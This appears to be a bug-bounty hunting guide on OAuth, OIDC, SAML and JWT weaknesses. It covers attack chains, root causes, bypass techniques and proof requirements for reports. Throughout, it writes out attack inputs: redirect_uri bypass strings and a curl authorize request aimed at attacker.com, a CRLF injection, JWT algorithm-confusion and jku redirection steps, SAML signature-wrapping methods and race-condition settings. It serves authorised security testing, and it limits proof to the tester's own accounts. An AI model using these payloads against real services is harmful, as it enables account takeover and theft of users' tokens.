GitLab CI: CI_JOB_JWT / CI_JOB_TOKEN are JWT credentials. CI_JOB_JWT supports OIDC federation to AWS / GCP / Vault. If a job's audience claim is unrestricted (sub_pattern: project_path:*), any project in the GitLab instance can impersonate. Hunt for cloud trust policies with iss=https://gitlab.com but no sub constraint. Also: GitLab's own CVE-2025-25291/25292 ruby-saml family means GitLab Enterprise SAML SSO with parser differentials is exploitable end-to-end (PortSwigger SAML Roulette demonstrated unauthenticated admin).
Jenkins: OAuth/OIDC plugins (oic-auth, azure-ad, github-oauth) with relaxed email matching = nOAuth at scale across CI infrastructure. Jenkins script-console exposure via authenticated OIDC group claim from attacker-controlled IdP becomes RCE on the controller. Hunt every Jenkins login page for OIDC support and test with a self-hosted IdP.
ArgoCD / Flux: CVE-2025-55190 Argo CD project token leak — a token with projects, get retrieves repository credentials. CVE-2026-23990 Flux Operator — empty OIDC email/groups claims bypass impersonation, requests run as the Flux service account. CVE-2022-31034 Argo CD insecure entropy in PKCE/OIDC params (still affects unpatched 2.x deployments). The pattern: GitOps controllers consume OIDC for human auth and use service tokens for machine actions; mixing these scopes loses the human's scope-restriction.
Kubernetes: kubelet exposed at :10250 with anonymous auth = RBAC bypass; if cluster uses OIDC for kube-apiserver, the OIDC token's aud claim must match --oidc-client-id. Many clusters set aud=* in trust → cross-cluster token replay. ServiceAccount projected tokens (TokenRequest API) include kubernetes.io audience by default; any pod that reads file-mounted projected tokens for non-K8s use cases is leaking credentials with cluster-scoped usability. Tekton CVE-2026-40161 git resolver leaks PAT to attacker-controlled serverURL.
Cloud IAM: AWS OIDC trust against GitHub/GitLab without sub constraint = cross-org token. Azure AD multi-tenant OAuth apps without xms_edov validation = nOAuth (CVE-2024-21632 omniauth-microsoft_graph; CVE-2025-55241 Entra ID actor token cross-tenant Global Admin impersonation, Dirk-jan Mollema). GCP Workload Identity Federation has analogous bugs — check that subject_token_type is constrained. AWS STS AssumeRoleWithWebIdentity requires audience binding; missing → cross-account token.
Supply chain (Salesloft Drift class): Third-party SaaS integrations use long-lived OAuth refresh tokens. UNC6395/ShinyHunters used truffleHog against Salesloft's GitHub repo to find Drift OAuth tokens, then exfiltrated 1.5B Salesforce records from 760 companies. Hunt your target's third-party connector inventory: each Slack app, Drift bot, HubSpot integration, Zendesk plugin is an OAuth grant your org accepted. Audit scopes (offline_access, Mail.Read, repo), audit revocation flows, audit logs for unusual API call rates (Salesforce Bulk API 2.0 calls under 3 minutes was the IOC).
Container/edge OAuth: Cloudflare Workers OAuth Provider (the very library that hosts MCP servers) had CVE-2025-4143 missing redirect_uri validation, CVE-2025-4144 PKCE bypass, and GHSA-2h78-5wx8-jccc CSRF + open redirect via state parameter. These bugs show up in Worker code that opted into building OAuth providers without OAuth library experience. Same pattern is repeating in Bun, Deno, and edge runtime auth implementations. Hunt every edge-runtime OAuth as if it's amateur-hour.
Chains & Multi-Bug Templates
Chain 1 — Open Redirect → OAuth Token Theft → Account Takeover (the universal $5K-$15K chain)
Bug A: Open redirect on https://app.target.com/redirect?url= (CWE-601), filed standalone = $150 Low
Bug B: OAuth redirect_uri registered as https://app.target.com/oauth/callback with allowlist by host prefix
Bug C: Set redirect_uri=https://app.target.com/redirect?url=https://attacker.com — AS validates host prefix, browser then follows the in-host redirect to attacker
Outcome: Attacker captures victim's code or access_token, exchanges for session, full ATO including admin
Bounty range: $5,000-$15,000 (DEV.to lucky_lonerusher 2026 reports $15K confirmed payout; H1 corpus consistently mid-four-figure to low-five-figure)
Hunter's note: This is the first chain you should attempt on every program. Don't file the open redirect alone — every triager kills standalone open redirects as Low. The pivot that separates a $150 Low from a $15K Critical is twenty minutes spent finding the OAuth flow on the same host. The open redirect must be on a host that's allowed as a redirect_uri; check the application's OAuth configuration page (often /developers, /settings/applications, or third-party login scope page) to confirm the host is whitelisted. The trick most hunters miss: the open-redirect endpoint doesn't have to be a vulnerability — many products ship intentional ?next= redirects with naive same-origin checks. Lovable.dev H1 #3599248 demonstrated even a fix bypass (the /..// path-traversal trick) is enough.
Bug A: Target uses "Sign in with Microsoft" (Entra ID multi-tenant)
Bug B: Target's OAuth user-mapping uses email claim instead of oid / sub (CVE-2024-21632 pattern)
Bug C: Account merge logic links new OAuth login to existing local account by email
Outcome: Attacker creates free Entra tenant, sets mail attribute to victim's email, logs in to target, fully takes over victim's account — bypassing MFA, password, all conditional access
Bounty range: $5,000-$75,000 (Descope's coordinated nOAuth disclosure paid $75K+ across multiple programs; CVE-2024-21632 GHSA disclosed bug in omniauth-microsoft_graph, Recognize.app program; Semperis 2025 found 9% of Entra Gallery apps still vulnerable)
Disclosure source: CVE-2024-21632, GHSA-5g66-628f-7cvj, Descope blog post June 20 2023, Semperis blog June 25 2025
Hunter's note: What worked: registering a brand-new Entra tenant takes 5 minutes via free.azure.microsoft.com — no credit card for nOAuth testing. Set the user's mail attribute (Contact Information) to the victim's email; do NOT use the UPN. The xms_edov claim was introduced post-June-2023 to mitigate this, but Microsoft set removeUnverifiedEmailClaim=true only for new app registrations after June 2023; the default for older apps is still vulnerable. Why this pays where the single bug doesn't: standalone "you trust the email claim" without a working PoC is theoretical and gets closed Informative. Demonstrate the merge against a real victim account you own (your second account on the target) and the bug becomes Critical.
Chain 3 — SAML Parser Differential → Unauthenticated Admin on GitLab Enterprise (the SAML Roulette chain)
Bug A: Target uses ruby-saml < 1.18.0 (or omniauth-saml referencing ruby-saml < 1.18.0) — fingerprint via login response Server header or behavior
Bug B: Obtain any legitimately signed SAML assertion (your own login on a smaller tenant of the same IdP, or any partner-org assertion from federated SSO)
Bug C: Modify XML with DOCTYPE <!ATTLIST> injection (CVE-2025-25291) or namespace confusion (CVE-2025-25292) so REXML and Nokogiri see different documents — REXML validates signature on the original element, Nokogiri reads attacker's NameID
Bug D: Set NameID to admin user (often known: admin@target.com, root@target.com, first user enumerated)
Outcome: Unauthenticated admin access to the target SAML SP — for GitLab Enterprise, this is unauthenticated cluster-admin
Bounty range: GitHub Security Lab paid undisclosed five-figure-plus for CVE-2025-25291/25292 (private bug bounty engagement, ahacker1 + Peter Stöckli + p-); GitLab Enterprise SSRF/SAML paths historically pay $10K-$20K via H1 #gitlab program
Disclosure source: CVE-2025-25291, CVE-2025-25292, GHSL-2024-329, GHSL-2024-330, PortSwigger SAML Roulette by Gareth Heyes + Zakhar Fedotkin (March 2025), GitHub Security Lab advisory by Peter Stöckli
Hunter's note: What worked: SAML Raider is the right Burp extension; do not try to craft XML by hand. The hardest part of this chain isn't the parser-differential payload — it's getting any signed assertion. Set up a free Okta developer org or use the IdP's public sandbox; the signature on your own assertion is what you'll wrap. The DOCTYPE technique only works on Ruby < 3.4.2 because REXML truncates !ATTLIST differently in newer Ruby versions; combine namespace confusion with DOCTYPE for max coverage. Why this pays: SAML is the auth protocol enterprises trust the most, so any signature bypass is a perfect storm of "production critical" and "no detection signature." GitLab paid premium because their entire enterprise tier sells on SAML SSO security.
Bug D: Set redirect_uri=https://abandoned-subdomain.target.com/oauth/callback — AS approves; victim's code lands on attacker host
Outcome: Federated SSO account takeover for any user who clicks attacker's auth URL
Bounty range: $2,000-$10,000 disclosed via HackerOne (subdomain takeover alone $200-$5K HackerOne program range, but chained to OAuth ATO crosses into mid-four to low-five-figure)
Hunter's note: What worked: most programs treat subdomain takeover as Low/Medium standalone, but combining with OAuth ATO escalates to High/Critical because you can prove victim impact. The hardest part: programs differ on whether they accept the chain — some say "we already paid for the subdomain takeover, the OAuth angle is duplicate." Counter this in your report by emphasizing blast radius: standalone takeover affects only users who click attacker links going to that subdomain; OAuth chain affects every user who clicks "Login with Target" anywhere. What failed first: I tried takeover → cookie injection on the apex first; modern __Host- cookies blocked it. Pivot to OAuth was 30 minutes of redirect_uri fuzzing. Why this pays: it demonstrates a real-world attack path, not a hypothetical CWE-601.
Chain 5 — MCP server misconfig → OAuth code interception → Agentic LLM API abuse → Credential exfil
Bug A: Find MCP server (HTTP endpoint advertising WWW-Authenticate: Bearer realm="MCP" or /.well-known/oauth-protected-resource)
Bug B: MCP server uses cloudflare/workers-oauth-provider < 0.0.5 → CVE-2025-4143 (no redirect_uri validation) + CVE-2025-4144 (PKCE downgrade)
Bug C: Send victim crafted authorize URL with redirect_uri=https://attacker.com and no code_challenge
Bug D: Capture victim's code, exchange at token endpoint with attacker's code_verifier (PKCE downgrade allows it)
Hunter's note: What worked: MCP servers are brand new attack surface and most of them are written by developers who've never deployed OAuth before. The Anthropic ecosystem (Claude Desktop, Cursor, Windsurf, claude.ai) connects to thousands of self-hosted MCP servers, and Obsidian Security's research shows the common implementation pattern is broken in at least one of: anonymous-cookie session binding, PKCE enforcement, audience validation, or redirect_uri checking. Why this pays: the OAuth bug becomes a tool-use compromise, which in agentic LLM context means private data exfil + cross-tenant pivot. The pivot most hunters miss: the MCP server's OAuth token is often passed through to a downstream API (Salesforce, GitHub, Slack), so stealing it gives you access to the underlying SaaS, not just the MCP layer. Audit WWW-Authenticate: Bearer realm="MCP" responses for resource_metadata URL — the metadata document tells you exactly which downstream APIs the token is valid against.
Bug A: Target uses RS256-signed JWTs with public JWKS at /.well-known/jwks.json
Bug B: Backend library is python-jose ≤ 3.3.0 (CVE-2025-61152), or Hono < 4.11.4 (CVE-2026-22817), or any library not pinning algorithms: ["RS256"]
Bug C: Extract public key from JWKS, format as PEM
Bug D: Forge HS256 token signed with the PEM as HMAC secret using jwt_tool -X k -pk public.pem
Bug E: Token's aud claim is missing or wildcard → token replays across multiple internal services in same JWT trust circle (CVE-2025-27370 audience injection class)
Outcome: Forge JWT for any user including admin; replay across all services in the JWT trust circle; cross-service privilege escalation
Bounty range: $5,000-$25,000 depending on services accessible (H1 #1080786 jwt header merchant_id misconfig $High; H1 #1889161 JWT audience claim not verified Critical; widespread internal-service RCE chains have paid $25K+ on bug bounty programs that cover internal infrastructure)
Hunter's note: What worked: the alg=none variant is still a working bug despite being known since 2015 — python-jose accepts it on verify_signature: False configurations (CVE-2025-61152). The case-bypass variants nOnE/NoNE/NULL work against many homegrown JWT validators that string-compare without lowercasing. The RS256→HS256 trick has the highest impact but requires the public key to be in PEM-compatible format (some JWKS endpoints emit raw modulus/exponent only — you need to convert). Why this pays where solo "alg=none accepted" doesn't: chaining to cross-service replay shows blast radius. Triagers see "you forged a JWT for service X" and ask "so what?" — if you also demonstrate "and X's token is accepted by service Y because both sit behind the same JWT validator," it becomes a multi-system breach.
Bug D: Each access_token is for a different effective session; deleting one doesn't kill the others (depending on backend session model)
Outcome: Persistent access via second token even after victim revokes first; OAuth token mint for arbitrary scopes if scope is also in race window
Bounty range: $5,000-$10,000 disclosed via HackerOne ($8,500 P1 paid to Anmol Singh Yadav April 2025 on Fortune 500 cloud business-management platform; race-condition severity scales with what the resulting token grants)
Hunter's note: What worked: Turbo Intruder's engine=Engine.BURP2 concurrentConnections=1 requestsPerConnection=50 pipeline=False configuration with HTTP/2 single-packet (gate.openGate(150)) reliably wins token-endpoint races. The endpoints to attack are: /oauth/token, /sso/token, /connect/token, GraphQL exchangeToken mutations, and any /refresh endpoint that swaps a refresh token for an access token. What failed first: standard race attempts via requests Python library never won — needed Turbo Intruder's last-byte-sync. Why this pays: most OAuth race-condition bugs are invariants violations (RFC 6749 §4.1.2 says codes are single-use); demonstrating the violation with two different tokens is high-impact because it breaks the security model of OAuth. The triager doesn't have to decide "is this serious?" — RFC text decides for them.
Common Root Causes
OAuth/OIDC/SAML/JWT bugs cluster around predictable developer mistakes. Hunting cheat-sheet for code review or behavioral testing:
Pattern 1: redirect_uri loose-validation. Where to look: any startsWith/contains/regex/Set membership check on the redirect_uri value. Failure mode: substring or regex bypass. Disclosed example: CVE-2024-52289 Authentik regex with unescaped . (https://app.example.com accepts https://app0example.com).
Pattern 2: state parameter not validated. Where to look: OAuth callback handler that reads code from query without referencing state. Failure mode: CSRF on OAuth linking → attacker links victim to attacker's IdP account. Disclosed example: HackerOne #850022 launchpad.37signals.com OAuth2 CSRF, bugbounty.ch May 2023 case study.
Pattern 3: Email claim used as user identifier. Where to look: User.findBy(email=...) called with OIDC claim. Failure mode: nOAuth — Entra ID emits unverified email by default for pre-2023 apps. Disclosed example: CVE-2024-21632 omniauth-microsoft_graph (Recognize.app), Semperis 2025 found 15,000+ SaaS apps still vulnerable.
Pattern 4: JWT algorithm taken from token header. Where to look: jwt.verify(token, secret) without algorithms param; or JWK lookup that falls back to header.alg when JWK lacks alg. Failure mode: alg=none, RS256→HS256, custom algorithm bypass. Disclosed example: CVE-2026-22817 Hono CVSS 8.2, CVE-2024-54150 cjwt, CVE-2024-37568 Authlib.
Pattern 5: Authorization code not bound to client. Where to look: token endpoint reads stored code, doesn't check storedCode.clientID == requestingClientID. Failure mode: Cross-client code redemption — malicious OAuth RP exchanges another client's code for tokens. Disclosed example: CVE-2026-32245 tinyauth (refresh-token flow had check, auth-code flow didn't, GHSA-xg2q-62g2-cvcm).
Pattern 6: PKCE downgrade — code_verifier optional when code_challenge present. Where to look: token endpoint that wraps PKCE check in if (code_verifier) { ... }. Failure mode: Drop code_verifier → check skipped. Disclosed example: CVE-2023-48228 Authentik, CVE-2024-22258 Spring Authorization Server, CVE-2025-4144 Cloudflare workers-oauth-provider.
Pattern 7: SAML signature verification result discarded. Where to look: validateSignature(...) called as expression statement, return value not assigned/checked. Failure mode: Forged AuthnRequest accepted as if signed. Disclosed example: CVE GHSA-25cw-98hg-g3cg Admidio (smc_require_auth_signed config flag completely ineffective).
Pattern 8: SAML AssertionConsumerServiceURL trusted from request. Where to look: SAMLService that uses request.getAssertionConsumerServiceURL() as the response Destination/Recipient. Failure mode: Attacker crafts AuthnRequest with arbitrary ACS URL → IdP delivers signed assertion to attacker. Disclosed example: GHSA-p9w9-87c8-m235 Admidio (May 2026).
Pattern 9: Multi-assertion XML where signature validates one node, identity reads from another. Where to look: SAML response handling that uses different XML libraries for signature vs claim extraction (REXML/Nokogiri, lxml/xml.etree, libxml2/expat). Failure mode: Parser differential signature wrapping. Disclosed example: CVE-2025-25291/25292 ruby-saml (ahacker1 + p-, GHSL-2024-329/330, GitHub Security Lab).
Pattern 10: OIDC nonce not validated on subsequent calls. Where to look: ID Token handler that reads nonce only on first auth flow, not on refresh / silent renew. Failure mode: ID Token replay / session fixation. Disclosed example: CVE-2024-10318 NGINX OIDC reference implementation.
Pattern 11: Mutable claim used as account key on Microsoft tokens. Where to look: preferred_username, upn, email used instead of oid/sub. Failure mode: nOAuth across Entra tenants. Disclosed example: CVE-2024-21632 + Microsoft's xms_edov claim documentation update post-Descope.
Pattern 12: Scope upgrade via token exchange. Where to look: /oauth/token accepts scope= parameter that's wider than what was approved at /authorize. Failure mode: Privilege escalation via scope expansion. Disclosed example: documented in Doyensec OAuth Common Vulnerabilities (Jan 2025), pattern present in multiple Salt Labs ChatGPT plugin findings.
Bypass Techniques
Substring redirect_uri whitelist — append host suffix https://target.com.attacker.com/oauth/callback. Bypass works when validator does redirect_uri.contains("target.com"). CVE-2024-52289 Authentik (regex . unescaped — Lukas Omegapoint disclosure February 2025), HackerOne #1212337 (bypass the fix of #1078283 due to poor validation), HackerOne #665651 (Stealing Users OAuth Tokens through redirect_uri parameter, $High).
Userinfo (@) bypass — https://target.com@attacker.com/oauth-callback. RFC 3986 §3.2.1 — host parser confusion between browser and validator. Voorivex blog "Drilling the redirectUri in OAuth" (Oct 2024), HackTricks OAuth wiki, demonstrated against Apple OAuth provider.
IPv6 + userinfo combo — http://[::1]@[::1]@attacker.com/. Google Cloud SDK redirect_uri impersonation by @weirdmachine HackerNoon May 2025 — defeated Google's parser-precision validation across multiple Google services.
IDN homograph — Cyrillic tаrget.com (а=U+0430). Validation occurs on punycode form; browser navigates to Unicode. HackTricks OAuth wiki, also CVE-2018-7166 family Express path-to-regexp.
Path traversal in redirect_uri — https://booth.pm/users/auth/pixiv/callback/../../../../ja/items/<id>. HackerOne #1861974 Pixiv $2,000 — Google Analytics on attacker's product page captures code from query string.
Wildcard subdomain takeover — claim dangling abandoned.target.com, set redirect_uri=https://abandoned.target.com/callback. Pattern documented in HackTricks OAuth ATO wiki and routinely exploited; HackerOne corpus shows 4-figure to 5-figure payouts when chained to OAuth.
Open-redirect on whitelisted host — set redirect_uri=https://target.com/redirect?next=https://attacker.com. AS validates target.com prefix → 302 chain to attacker. DEV.to lucky_lonerusher 2026 reports $15K paid; HackerOne #2828499 (open redirected by host header), HackerOne #2812583 (Tumblr redirect_to parameter Low → escalated).
Path-encoded bypass on fix — /..//logout?redirect=https://attacker.com to bypass naive ^/logout allowlist. HackerOne #3599248 (Bypass of Open Redirect Fix on lovable.dev via /..// Path Traversal) Medium 2026.
CRLF in redirect_uri — redirect_uri=https://target.com/callback%0d%0aLocation:%20https://attacker.com. HackerOne #2147132 Mozilla bugzilla CRLF Header injection via redirect_uri (2023).
Custom scheme races (mobile) — Android: malicious app registers <intent-filter android:scheme="com.example.app" /> matching legit OAuth client. iOS: declares same URL Type. Without Universal Links / App Links, OS picks first match. Doyensec OAuth Common Vulnerabilities Jan 2025 documents the technique at https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html; also covered in OAuth 2.0 Security BCP RFC 9700 §4.5.4 disclosed via IETF.
Response-type/mode switching (Frans Rosén dirty dancing) — &response_type=code,id_token&response_mode=fragment. Code lands in fragment instead of query → bypasses callback validation, exploitable via third-party JS that reads location.hash. Frans Rosén Detectify Labs July 2022 research disclosed at https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/, replicated against multiple Fortune 500 programs and presented at Sikkerhetsfestivalen Lillehammer 2022.
Browser swapping (SySS Jonas Primbs) — initiate flow in attacker's browser, send incomplete URL to victim, victim's browser completes. Code is issued; client rejects state mismatch but doesn't invalidate code. SySS Tech Blog November 2025 disclosed at https://blog.syss.com/posts/browser_swapping/; Jonas Primbs presented at IETF 124 Montreal targeting OAuth 2.1 standardization.
PKCE downgrade by removing code_challenge — initiate auth without code_challenge parameter; many clients silently accept. CVE-2024-23647 Authentik (BeyondTrust pattern), CVE-2024-22258 Spring Authorization Server (Confidential Clients only), Cloudflare CVE-2025-4144.
PKCE bypass via attacker-controlled URL — iframe SSO, supply own code_challenge, capture code via MessagePort. Trace37 labs disclosed at https://labs.trace37.com/blog/pkce-bypass-oauth-account-takeover/ February 2026, demonstrated on large e-commerce platform via bug bounty program (amount undisclosed).
JWT alg=none case bypass — nOnE, NoNE, NULL, None defeat string-equality if alg=='none' checks. CVE-2026-22817 Hono CVSS 8.2 family, also documented in IAMDevBox JWT confusion guide.
JWT RS256→HS256 algorithm confusion — extract public key from JWKS, sign HS256 with PEM as secret. jwt_tool -X k -pk public.pem. CVE-2024-54150 cjwt (asymmetric key), CVE-2024-37568 Authlib HMAC verification with public key, milliesolem GitHub issue (Authlib #654).
JWT jku / x5u redirection — change jku to https://attacker.com/jwks.json. If JWKS URL not pinned to issuer, attacker controls signing key. PortSwigger Web Security Academy; multiple disclosed H1 reports.
Entra ID actor token cross-tenant impersonation — craft outer token requesting victim app, embed legitimate inner token from attacker's free tenant in actort claim. CVE-2025-55241 Dirk-jan Mollema, Microsoft patched July 17 2025, CVE published September 4 2025; used legacy Azure AD Graph API.
SAML parser-differential round-trip — DOCTYPE with !ATTLIST that REXML and Nokogiri parse differently. CVE-2025-25291 ruby-saml (ahacker1 GHSL-2024-329 GitHub Security Lab); PortSwigger SAML Roulette by Gareth Heyes + Zakhar Fedotkin demonstrating unauthenticated GitLab admin (March 2025).
Gate 0 Validation
Before writing the report, prove:
Concrete demonstration: minimum proof. For redirect_uri leak: capture victim's code in your exploit-server access log + screenshot of admin-panel access using exchanged token. For state-CSRF linking: screenshot of victim's account with attacker's IdP linked. For nOAuth: screenshot of victim's account dashboard accessed via attacker's Entra tenant. For JWT alg confusion: forged token + screenshot of admin endpoint returning 200 with admin-only data. For SAML wrapping: forged assertion + screenshot of admin login. Never dump /etc/passwd, never cat /root/, never read sensitive PII you don't need — trigger the auth and stop. Do not pivot; do not chain to data exfil; do not dump the user table. The minimum proof IS the bug.
Business loss mapping: customer PII / financial / credential / availability — pick one and quantify. nOAuth chain: "All N admins of any tenant on Entra-multi-tenant-app are accessible." OAuth ATO: "Any user who clicks an attacker URL is fully compromised — bypasses MFA, password reset, conditional access." MCP token theft: "Attacker accesses N downstream services the OAuth scope grants — list each (Salesforce read, GitHub repo read, Slack DM read)."
Reproducibility in 10 minutes: write the curl one-liner. For redirect_uri bypass: curl -v "https://idp.target.com/oauth/authorize?client_id=X&redirect_uri=https://target.com.attacker.com/&response_type=code&state=Y". For state CSRF: provide CSRF PoC HTML page. For SAML wrapping: provide modified XML payload. For race condition: provide Turbo Intruder script. Triagers close anything they can't repro at lunch — make the repro one-page-max.
Scope check: target asset is in-scope for the program TODAY. Asset reachable now. Vuln present now. Re-test before submission. OAuth providers frequently silent-patch — what worked Tuesday is patched by Thursday. Always re-test the morning of submission.
PoC artifacts: 30-60 second screen recording (asciinema or mp4). Show the original auth flow → mutation → leaked code → exchanged token → privileged action. Burp request/response screenshots for each request: the auth request, the callback redirect, the token exchange. Curl one-liner in plain text. No edited videos.
If any of the 5 fails: stop. You have a finding, not a report.
Top-Tier Hunter Decision Engine
OAuth/OIDC/SAML bugs pay when identity binding breaks. Before reporting, name the broken binding: redirect_uri to client, state to browser session, code to verifier, token to audience, email to verified tenant, assertion to signed element, or scope to downstream resource. If you cannot name the binding, you probably have protocol noise.
Stop in 10 minutes when the issue is missing-state without account linking, open redirect without OAuth reuse, JWT storage without XSS, or parser theory without a version match. Keep chaining when you can capture an authorization code, link attacker IdP to victim account, forge a token accepted by a second service, or impersonate across tenants. Report immediately when the proof reaches victim-session creation on your own second account or downstream OAuth token use; do not dump mailboxes, repos, or customer records.
Minimum proof ceiling: capture the code/token only for your test account, exchange it once, show the resulting session or one harmless privileged action, then stop. For SAML/JWT, include the original and modified assertion/token with secrets redacted. For MCP/OAuth, list scopes and one benign tool invocation rather than exfiltrating connected SaaS data.
Real Impact Examples
Example 1 — redirect_uri-bypass ($2,000 disclosed paid bounty, single-bug high-impact)
Setup: Pixiv's OAuth provider at oauth.secure.pixiv.net/v2/auth/authorize accepts redirect_uri=https://booth.pm/users/auth/pixiv/callback for the Booth.pm OAuth client (a1Z7w6JssUQkw5Hid0uIDeuesue9). Validation: redirect_uri must start with the registered prefix.
Discovery: The hunter found that path-traversal segments in the URL (/../../../../) are not normalized before the prefix check. Setting redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/<attacker_product_id> was accepted. The traversal collapses on the browser side, so the victim is redirected to https://booth.pm/ja/items/<attacker_product_id> — a product page the attacker controls.
Exploitation: Attacker created a public Booth shop, registered an item with Google Analytics tracking, then sent the crafted authorize URL to victims. Victim authenticates → IdP redirects to attacker's product page → product page's GA captures the code query parameter from the URL → attacker reads GA real-time reports → exchanges code → ATO.
Impact: Account takeover for any Pixiv user who clicks the attacker's link. GA real-time reports give the code with sub-minute latency, well within the typical 10-minute code lifetime.